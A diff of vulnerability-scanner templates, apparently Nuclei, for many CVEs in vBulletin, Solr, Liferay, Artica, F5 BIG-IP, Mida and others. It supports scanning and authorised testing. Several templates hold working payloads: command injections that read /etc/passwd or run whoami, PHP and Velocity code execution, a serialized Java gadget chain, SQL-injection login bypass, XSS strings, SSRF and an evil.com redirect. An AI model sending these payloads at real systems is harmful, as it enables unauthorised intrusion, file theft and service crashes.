+  name: 0day RCE in vBulletin v5.0.0-v5.5.4 fix bypass
+  author: madrobot
+  severity: high
+
+# Source:- https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/
+
+requests:
+  - raw:
+      - |
+        POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
+        Content-Type: application/x-www-form-urlencoded
+
+        subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "PHP Version"
@@ -3,7 +3,7 @@ id: CVE-2019-17382
 info:
  name: Zabbix Authentication Bypass
  author: Harsh Bothra
-  severity: Critical
+  severity: critical
  # source:- https://nvd.nist.gov/vuln/detail/CVE-2019-17382

 requests:
@@ -0,0 +1,58 @@
+id: CVE-2019-17558
+
+info:
+  name: Apache Solr 8.3.0 - Remote Code Execution via Velocity Template
+  author: pikpikcu
+  severity: critical
+
+# Refrense:https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133
+# https://nvd.nist.gov/vuln/detail/CVE-2019-17558
+# Issues:-https://issues.apache.org/jira/browse/SOLR-13971
+
+requests:
+  - raw:   # Request: set "params.resource.loader.enabled"
+      - |
+        POST /solr/atom/config HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Connection: close
+        Content-Type: application/json
+        Content-Length: 259
+        Upgrade-Insecure-Requests: 1
+
+        {
+            "update-queryresponsewriter": {
+              "startup": "lazy",
+              "name": "velocity",
+              "class": "solr.VelocityResponseWriter",
+              "template.base.dir": "",
+              "solr.resource.loader.enabled": "true",
+              "params.resource.loader.enabled": "true"
+            }
+        }
+
+      # RCE via velocity template:
+      # Get /etc/passwd
+
+      - |
+        GET /solr/atom/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat%20/etc/passwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
@@ -2,7 +2,7 @@ id: CVE-2019-19985

 info:
  name: WordPress Plugin Email Subscribers & Newsletters 4.2.2 - Unauthenticated File Download
-  author: KBA@SOGETI_ESEC
+  author: KBA@SOGETI_ESEC, madrobot & dwisiswant0
  severity: medium

  # Source:-  https://www.exploit-db.com/exploits/48698
@@ -16,7 +16,17 @@ requests:
    matchers:
      - type: word
        words:
-          - Subscribed
+          - Name
+          - Email
+          - Status
+          - Created On
+        condition: and
+        part: body
+
+      - type: word
+        words:
+          - "Content-Disposition: attachment; filename=all-contacts.csv;"
+        part: header

      - type: status
        status:
@@ -0,0 +1,41 @@
+id: CVE-2019-2725
+
+info:
+  name: Oracle WebLogic Server - Unauthenticated RCE
+  author: dwisiswant0
+  severity: critical
+
+  # Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services).
+  # Supported versions that are affected are 10.3.6.0.0 and 12.1.3.0.0.
+  # Easily exploitable vulnerability allows unauthenticated attacker
+  # with network access via HTTP to compromise Oracle WebLogic Server.
+  # Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server.
+  # --
+  # References:
+  # > https://paper.seebug.org/910/
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/_async/AsyncResponseService"
+      - "{{BaseURL}}:7001/_async/AsyncResponseService"
+    body: >-
+      <?xml version="1.0" encoding="UTF-8" ?>
+      <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
+      xmlns:ads="http://www.w3.org/2005/08/addressing">
+        <soapenv:Header></soapenv:Header>
+        <soapenv:Body></soapenv:Body>
+      </soapenv:Envelope>
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "soapenv:Envelope"
+        part: body
+      - type: word
+        words:
+          - "X-Powered-By: Servlet"
+        part: header
+      - type: status
+        status:
+          - 200
@@ -2,7 +2,7 @@ id: CVE-2019-3396
 info:
  author: "Harsh Bothra"
  name: "Atlassian Confluence Path Traversal"
-  severity: High
+  severity: high

 # https://github.com/x-f1v3/CVE-2019-3396

@@ -0,0 +1,30 @@
+id: CVE-2019-6112
+
+info:
+  name: WordPress Plugin Sell Media v2.4.1 - Cross-Site Scripting
+  author: dwisiswant0
+  severity: medium
+
+  # A Cross-site scripting (XSS) vulnerability
+  # in /inc/class-search.php in the Sell Media plugin v2.4.1 for WordPress
+  # allows remote attackers to inject arbitrary web script or HTML
+  # via the keyword parameter (aka $search_term or the Search field).
+  # --
+  # References:
+  # > https://github.com/graphpaperpress/Sell-Media/commit/8ac8cebf332e0885863d0a25e16b4b180abedc47#diff-f16fea0a0c8cc36031ec339d02a4fb3b
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/sell-media-search/?keyword=%22%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "id=\"sell-media-search-text\" class=\"sell-media-search-text\""
+          - "alert(1337)"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,39 @@
+id: CVE-2019-7609
+
+info:
+  name: Kibana Timelion Arbitrary Code Execution
+  author: dwisiswant0
+  severity: critical
+
+  # Kibana versions before 5.6.15 and 6.6.1
+  # contain an arbitrary code execution flaw in the Timelion visualizer.
+  # An attacker with access to the Timelion application could send a request
+  # that will attempt to execute javascript code.
+  # This could possibly lead to an attacker executing arbitrary commands
+  # with permissions of the Kibana process on the host system.
+  # --
+  # References:
+  # - https://github.com/mpgn/CVE-2019-7609
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/api/timelion/run"
+      - "{{BaseURL}}:5601/api/timelion/run"
+    headers:
+      User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
+      Content-Type: "application/json; charset=utf-8"
+    body: "{\"sheet\":[\".es(*)\"],\"time\":{\"from\":\"now-1m\",\"to\":\"now\",\"mode\":\"quick\",\"interval\":\"auto\",\"timezone\":\"Asia/Shanghai\"}}"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "seriesList"
+        part: body
+      - type: word
+        words:
+          - "Content-Type: application/json"
+        part: header
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,22 @@
+id: CVE-2019-9978
+
+info:
+  name: WordPress social-warfare RFI
+  author: madrobot & dwisiswant0
+  severity: critical
+
+  # Reference:- https://github.com/mpgn/CVE-2019-9978
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://burpcollaborator.net"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "Burp Collabolator Server"
+        part: body
@@ -4,6 +4,7 @@ info:
  name: Nexus Repository Manager 3 RCE
  auhtor: hetroublemakr
  severity: high
+  description: Sonatype Nexus Repository before 3.21.2 allows JavaEL Injection (issue 1 of 2).
  # reference: https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31

 requests:
@@ -4,6 +4,7 @@ info:
  name: Sonatype Nexus Repository RCE
  auhtor: hetroublemakr
  severity: high
+  description: A Remote Code Execution vulnerability has been discovered in Nexus Repository Manager requiring immediate action. The vulnerability allows for an attacker with an administrative account on NXRM to execute arbitrary code by crafting a malicious request to NXRM
  # reference: https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31

 requests:
@@ -21,4 +22,4 @@ requests:
        part: body
      - type: status
        status:
-          - 200
+          - 200
@@ -0,0 +1,23 @@
+id: CVE-2020-11034
+
+info:
+  name: GLPI v.9.4.6 - Open redirect
+  author: pikpikcu
+  severity: low
+
+ # security-advisories:-https://github.com/glpi-project/glpi/security/advisories/GHSA-gxv6-xq9q-37hg
+ # https://github.com/glpi-project/glpi/archive/9.4.6.zip
+ # https://nvd.nist.gov/vuln/detail/CVE-2020-11034
+
+requests:
+  - method: GET
+
+    path:
+      - "{{BaseURL}}/index.php?redirect=/\/evil.com/"
+      - "{{BaseURL}}/index.php?redirect=//evil.com"
+
+    matchers:
+      - type: regex
+        regex:
+          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?evil\.com(?:\s*?)$'
+        part: header
@@ -4,7 +4,7 @@ info:
  name: CVE-2020-12720 vBulletin SQLI
  author: pdnuclei - projectdiscovery.io
  severity: critical
-
+  description: vBulletin before 5.5.6pl1, 5.6.0 before 5.6.0pl1, and 5.6.1 before 5.6.1pl1 has incorrect access control.
  # Source https://github.com/rekter0/exploits/tree/master/CVE-2020-12720
  # This template supports the detection part only.
  # Do not test any website without permission
@@ -4,6 +4,7 @@ info:
  name: Netsweeper WebAdmin unixlogin.php Python Code Injection
  author: dwisiswant0
  severity: critical
+  description: Netsweeper through 6.4.3 allows unauthenticated remote code execution because webadmin/tools/unixlogin.php (with certain Referer headers) launches a command line with client-supplied parameters, and allows injection of shell metacharacters.

  # This template exploits a Python code injection in the Netsweeper
  # WebAdmin component's unixlogin.php script, for versions 6.4.4 and
@@ -38,4 +39,4 @@ requests:
        part: body
      - type: status
        status:
-          - 200
+          - 200
@@ -0,0 +1,22 @@
+id: CVE-2020-13379
+
+info:
+  name: Unauthenticated Grafana DoS
+  author: pxmme1337
+  severity: medium
+  description: The avatar feature in Grafana 3.0.1 through 7.0.1 has an SSRF Incorrect Access Control issue. This vulnerability allows any unauthenticated user/client to make Grafana send HTTP requests to any URL and return its result to the user/client.
+
+  # Source:-  https://www.exploit-db.com/exploits/48638
+  # WARNING
+  # This vulnerability results in complete crashing of the grafana-server application.
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D'
+      - '{{BaseURL}}/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D'
+      - "{{BaseURL}}/"
+    matchers:
+      - type: status
+        status:
+          - 502
@@ -0,0 +1,24 @@
+id: CVE-2020-15920
+
+info:
+  name: Unauthenticated RCE at Mida eFramework on 'PDC/ajaxreq.php'
+  author: dwisiswant0
+  severity: critical
+  description: There is an OS Command Injection in Mida eFramework through 2.9.0 that allows an attacker to achieve Remote Code Execution (RCE) with administrative (root) privileges. No authentication is required.
+
+  # References:
+  # - https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
@@ -0,0 +1,46 @@
+id: CVE-2020-17505
+
+info:
+  name: Artica Web Proxy 4.30 OS Command Injection
+  author: dwisiswant0
+  severity: high
+  description: Artica Web Proxy 4.30.000000 allows an authenticated remote attacker to inject commands via the service-cmds parameter in cyrus.php. These commands are executed with root privileges via service_cmds_peform.
+
+  # Artica Web Proxy 4.30.00000000
+  # allows an authenticated remote attacker
+  # to inject commands via the service-cmds parameter in cyrus.php.
+  # These commands are executed with root
+  # privileges via service_cmds_peform.
+  # -
+  # References:
+  # > https://blog.max0x4141.com/post/artica_proxy/
+
+requests:
+  - raw:
+      - |
+        GET /fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27; HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: */*
+        Connection: close
+
+      - |
+        GET /cyrus.index.php?service-cmds-peform=%7C%7Cwhoami%7C%7C HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: */*
+        Connection: close
+
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "array(2)"
+          - "Position: ||whoami||"
+          - "root"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,42 @@
+id: CVE-2020-17506
+
+info:
+  name: Artica Web Proxy 4.30 Authentication Bypass
+  author: dwisiswant0
+  severity: critical
+  description: Artica Web Proxy 4.30.00000000 allows remote attacker to bypass privilege detection and gain web backend administrator privileges through SQL injection of the apikey parameter in fw.login.php.
+
+  # Artica Web Proxy 4.30.00000000
+  # allows remote attacker to bypass privilege detection
+  # and gain web backend administrator privileges
+  # through SQL injection of the apikey parameter in fw.login.php.
+  # -
+  # References:
+  # > https://blog.max0x4141.com/post/artica_proxy/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27;"
+    redirects: true
+    max-redirects: 1
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "artica-applianc"
+      - type: status
+        status:
+          - 200
+          - 301
+          - 302
+        condition: or
+      - type: word
+        name: session
+        words:
+          - "PHPSESSID"
+        part: header
+    extractors:
+      - type: kval
+        kval:
+          - "PHPSESSID"
@@ -0,0 +1,25 @@
+id: CVE-2020-2140
+info:
+  author: j3ssie/geraldino2
+  name: Jenkin AuditTrailPlugin XSS
+  severity: medium
+  description: Jenkins Audit Trail Plugin 3.2 and earlier does not escape the error message for the URL Patterns field form validation, resulting in a reflected cross-site scripting vulnerability.
+
+  # Source:- https://nvd.nist.gov/vuln/detail/CVE-2020-2140
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/descriptorByName/AuditTrailPlugin/regexCheck?value=*j%3Ch1%3Esample"
+      - "{{BaseURL}}/jenkins/descriptorByName/AuditTrailPlugin/regexCheck?value=*j%3Ch1%3Esample"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - <h1>sample
+        part: body
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,24 @@
+id: CVE-2020-24223
+
+info:
+  name: Mara CMS  7.5 - Reflective Cross-Site Scripting
+  author: pikpikcu
+  severity: medium
+
+  # Vendor Homepage: https://sourceforge.net/projects/maracms/
+  # Software Link: https://sourceforge.net/projects/maracms/files/MaraCMS75.zip/download
+  # Source: https://www.exploit-db.com/exploits/48777
+
+requests:
+  - metod: GET
+    path:
+      - '{{BaseURL}}/contact.php?theme=tes%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E'
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '"><script>alert(document.domain)</script>'
+        part: body
@@ -5,7 +5,7 @@ id: CVE-2020-3187
 info:
  name: CVE-2020-3187
  author: KareemSe1im
-  severity: High
+  severity: high

 requests:
  - method: GET
@@ -2,19 +2,23 @@ id: CVE-2020-5284

 info:
  name: Next.js .next/ limited path traversal
-  author: Harsh & Rahul
+  author: Harsh & Rahul & dwisiswant0
  severity: medium

 requests:
  - method: GET
    path:
      - "{{BaseURL}}/_next/static/../server/pages-manifest.json"
-
    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - '\{"/_app":".*?_app\.js"'
+        part: body
+      - type: word
+        words:
+          - "application/json"
+        part: header
      - type: status
        status:
          - 200
@@ -3,7 +3,7 @@ id: CVE-2020-5405
 info:
  name: Spring Cloud Directory Traversal
  author: Harsh Bothra
-  severity: High
+  severity: high

 # source:- https://nvd.nist.gov/vuln/detail/CVE-2020-5405

@@ -0,0 +1,28 @@
+id: CVE-2020-5412
+
+info:
+  name: Full-read SSRF in Spring Cloud Netflix (Hystrix Dashboard)
+  author: dwisiswant0
+  severity: medium
+  description: Spring Cloud Netflix, versions 2.2.x prior to 2.2.4, versions 2.1.x prior to 2.1.6, and older unsupported versions allow applications to use the Hystrix Dashboard proxy.stream endpoint to make requests to any server reachable by the server hosting the dashboard. A malicious user, or attacker, can send a request to other servers that should not be exposed publicly.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/proxy.stream?origin=http://burpcollaborator.net/"
+
+      # To get crithit, try http://169.254.169.254/latest/metadata/
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Burp Collaborator Server"
+        part: body
+      - type: word
+        words:
+          - "Jelly"
+        part: header
+      - type: status
+        status:
+          - 200
@@ -2,7 +2,7 @@ id: CVE-2020-5902

 info:
  name: F5 BIG-IP TMUI RCE
-  author: madrobot & dwisiswant0
+  author: madrobot & dwisiswant0 & ringo
  severity: high

 requests:
@@ -11,6 +11,7 @@ requests:
      - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
      - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release"
      - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license"
+      - "{{BaseURL}}/hsqldb%0a"
    matchers-condition: and
    matchers:
      - type: status
@@ -21,6 +22,7 @@ requests:
          - "root:[x*]:0:0:"
          - "BIG-IP release ([\\d.]+)"
          - "[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{7}"
+          - "HSQL Database Engine Servlet"
        condition: or
        part: body
  - raw:
@@ -59,4 +61,4 @@ requests:
          - 200
      - type: word
        words:
-          - "h3ll0_w0Rld"
+          - "h3ll0_w0Rld"
@@ -9,19 +9,17 @@ info:
  # The kivis.php pid parameter received from the user is sent to the shell_exec function, resulting in security vulnerability.

  # https://github.com/HewlettPackard/LinuxKI/commit/10bef483d92a85a13a59ca65a288818e92f80d78
+  # venedor: https://www.hpe.com/us/en/home.html
+  # softwar: https://github.com/HewlettPackard/LinuxKI

 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/linuxki/experimental/vis/kivis.php?type=kitrace&pid=1%3Becho%20%22bm9uZXhpc3RlbnQ%3D%22%20%7C%20base64%20-d"
-    headers:
-      User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)"
+      - "{{BaseURL}}/linuxki/experimental/vis/kivis.php?type=kitrace&pid=0;echo%20START;cat%20/etc/passwd;echo%20END;"
+
    matchers-condition: and
    matchers:
-      - type: word
-        words:
-          - "nonexistent"
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
        part: body
-      - type: status
-        status:
-          - 200
@@ -3,21 +3,58 @@ id: CVE-2020-7961
 info:
  name: Liferay Portal Unauthenticated RCE
  author: dwisiswant0
-  severity: high
+  severity: critical
+
+  # Deserialization of Untrusted Data in
+  # Liferay Portal prior to 7.2.1 CE GA2 allows remote attackers
+  # to execute arbitrary code via JSON web services (JSONWS).
+  # -
+  # References:
+  # > https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html

 requests:
-  - method: POST
-    path:
-      - "{{BaseURL}}/api/jsonws/invoke"
-      - "{{BaseURL}}:8080/api/jsonws/invoke"
-    headers:
-      User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
-      Connection: "close"
-      Content-Type: "application/x-www-form-urlencoded"
-      cmd2: "bash -c 'echo \"bm9uZXhpc3RlbnQ6MTMzNwo=\" | base64 -d'"
-    body: "{\"p_auth\":\"AdsXeCqz\",\"tableId%3d1\":\"\",\"formDate\":\"1526638413000\",\"columnId\":\"123\",\"defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\":\"{\\\"userOverridesAsString\\\":\\\"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878;\\\"}\",\"name\":\"A\",\"cmd\":\"{\\\"/expandocolumn/update-column\\\":{}}\"Line truncated
+  - payloads:
+      command:
+        - "systeminfo"  # Windows
+        - "lsb_release -a"  # Linux
+        - "sysctl kern.ostype"  # macOS
+      port:
+        - "80"
+        - "443"
+        - "8080"
+    attack: sniper
+    raw:
+      - |
+        POST /api/jsonws/invoke HTTP/1.1
+        Host: {{Hostname}}:port
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
+        Content-Length: 4938
+        Accept: */*
+        Accept-Language: en
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+        Referer: {{BaseURL}}/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fadd-column-4-tableId-name-type-defaultData
+        X-Requested-With: XMLHttpRequest
+        cmd2: command
+        Accept-Encoding: gzip, deflate
+
+        cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=nuclei&formDate=1597704739243&tableId=1&name=A&type=1&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3AACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C697374